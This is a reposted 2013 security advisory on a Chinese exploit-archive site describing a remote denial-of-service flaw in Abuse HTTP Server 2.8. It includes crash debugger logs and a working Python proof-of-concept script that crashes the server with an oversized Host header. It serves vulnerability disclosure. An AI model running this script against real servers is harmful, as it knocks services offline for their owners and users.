首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Abuse HTTP Server 2.8 Denial Of Service Vulnerability
来源:http://www.cr0security.com 作者:Ekel 发布时间:2013-10-09  
Advisory Information :
======================
Title : Abuse HTTP Server 2.8 - Remote Denial Of Service
Advisory ID : Cr02013-002
Product : HTTP Server
Vendor : SmartUX
Vulnerable Version(s) : 2.8 and probably prior release
Tested Version : 2.8
Tested On : Windows XP, Windows 7
Vulnerability Type / CWE ID : Improper Resource Shutdown or Release / [CWE-404]
Risk Level : High
CVSSv2 Base Score : 9.7 (AV:N/AC:L/Au:N/C:N/I:P/A:C/E:F/RL:U/RC:C/CDP:LM/TD:H/CR:L/IR:L/AR:H)
Discovered By : Zico (Zee Eichel) Ekel of cr0security - zee[at]cr0security.com - http://www.cr0security.com
   
   
Introduction :
==============
  
Abuse HTTP Server is a small program designed to become a WebServer.
   
- Based on / Copied from : http://abuse-httpd.sourceforge.net/
   
   
Advisory Details:
=================
Abuse HTTP Server suffers from Remote Denial Of Service (DOS). The Attacker could make Abuse HTTP Server disconnect connection while client is connected to Abuse HTTP server.
   
   
Proof Of Concept :
==================
The Attacker run this remote exploit DOS code targeted to remote server host,
and the connection between server and android client will be disconected or terminated.
   
With debugging (Log-using ollydbg) :
  
Log data, item 3
 Address=7C8106E9 (crash address)
 Message=New thread with ID 000006D0 created
Log data, item 2
 Message=Thread 000006D0 terminated, exit code 0
Log data, item 1
 Message=Thread 00000794 terminated, exit code CB (203.)
Log data, item 0
 Message=Process terminated, exit code CB (203.)
  
Register FPU log :
  
EAX 00000000
ECX 7C800000 kernel32.7C800000
EDX 7C97B120 ntdll.7C97B120
EBX 00000000
ESP 0012EDD4
EBP 0012EED0
ESI 7C90DE50 ntdll.ZwTerminateProcess
EDI 000000CB
EIP 7C90E4F4 ntdll.KiFastSystemCallRet
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_CLASS_HAS_WINDOWS (00000584)
EFL 00000246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty -??? FFFF 00FF00FF 00FF00FF
ST1 empty -??? FFFF 00FF00FF 00FF00FF
ST2 empty -??? FFFF 00FE00B2 006E007A
ST3 empty -??? FFFF 00FE00B2 006B0077
ST4 empty -NAN FFFF FFB36B77 FFB36E7A
ST5 empty -??? FFFF 00FF00B3 006B0077
ST6 empty -??? FFFF 00000000 00000000
ST7 empty -??? FFFF 00800080 00800080
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 1372  Prec NEAR,64  Mask    1 1 0 0 1 0
  
SEH chain of main thread:
  
Address    SE handler
0012FC50   kernel32.7C839AC0
0012FCA8   Abuse.0040D7E3
0012FD78   USER32.7E44048F
0012FDD8   USER32.7E44048F
0012FEF0   USER32.7E44048F
0012FF50   USER32.7E44048F
0012FFE0   kernel32.7C839AC0
   
Sample dummy tool for disconected only
======================================
  
--- Python Remote DOS code ---
  
#!/usr/bin/python
  
import socket
import os
import sys
  
crash = "0" * 504
  
buffer="GET / HTTP/1.1\r\n"
buffer+="Host: " + crash + "\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1\r\n"
buffer+="Content-Length : 1048580\r\n\r\n"
  
print "[*] Exploit c0ded by Zee Eichel - zee[at]cr0security.com"
print "[*] Change some option in code with your self"
print "[*] Connect to host and send payload"
  
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.101", 80))
expl.send(buffer)
print "[*] Server Disconected"
expl.close()
  
------------- EOF -------------
  
Report-Timeline :
=================
29/09/2013 :    Vendor Contacted / No response.
30/09/2013 :    Public Disclosure.
   
   
Remediation :
=============
There isn't remediation step from the Vendor until this Public Disclosure.
   
   
References :
============
- Common Weakness Enumeration (CWE) - http://cwe.mitre.org
- Share KM - http://abuse-httpd.sourceforge.net/
   
   
About Cr0security :
===================
Cr0security is a company that moved on "Information and Technologies" especially
on Computer Security System, Network Security, and Secure Computer Application
Development. with a reference to the publics needs of using the information system
technology with better security, Cr0security ready to help you to reach secure point
and creating a comfortable moment while you are perform any activities through your
networks or computers at once. In computer software development we also implement the
"Secure Programming". so security of the applications, the data, and the computer will
be strictly maintained. Beside we can act as your Consultant, We can act as your partner
to achieve the best solution.
   
   
Contact Cr0security :
=====================
Email : info[at]cr0security.com
Website : http://www.cr0security.com
   
   
Disclaimer :
============
The information provided in this advisory is provided "as is" without warranty
of any kind. Cr0security disclaims all warranties, either express or implied,
including the warranties of merchantability and fitness for a particular purpose.
In no event shall Cr0security or its suppliers be liable for any damages whatsoever
including direct, indirect, incidental, consequential, loss of business profits or
special damages, even if Cr0security or its suppliers have been advised of the
possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may
not apply.

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PinApp Mail-SeCure Access Cont
·davfs2 1.4.6/1.4.7 - Local Pri
·Firefox For Android Same-Origi
·Internet Haut Debit Mobile Buf
·Microsoft Internet Explorer Se
·ALLPlayer 5.6.2 (.m3u) - Local
·KMPlayer 3.7.0.109 (.wav) - Cr
·ONO Hitron CDE-30364 Router -
·glibc and eglibc 2.5, 2.7, 2.1
·Indusoft Thin Client 7.1 Activ
·HP LoadRunner magentproc.exe O
·VMware Hyperic HQ Groovy Scrip
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved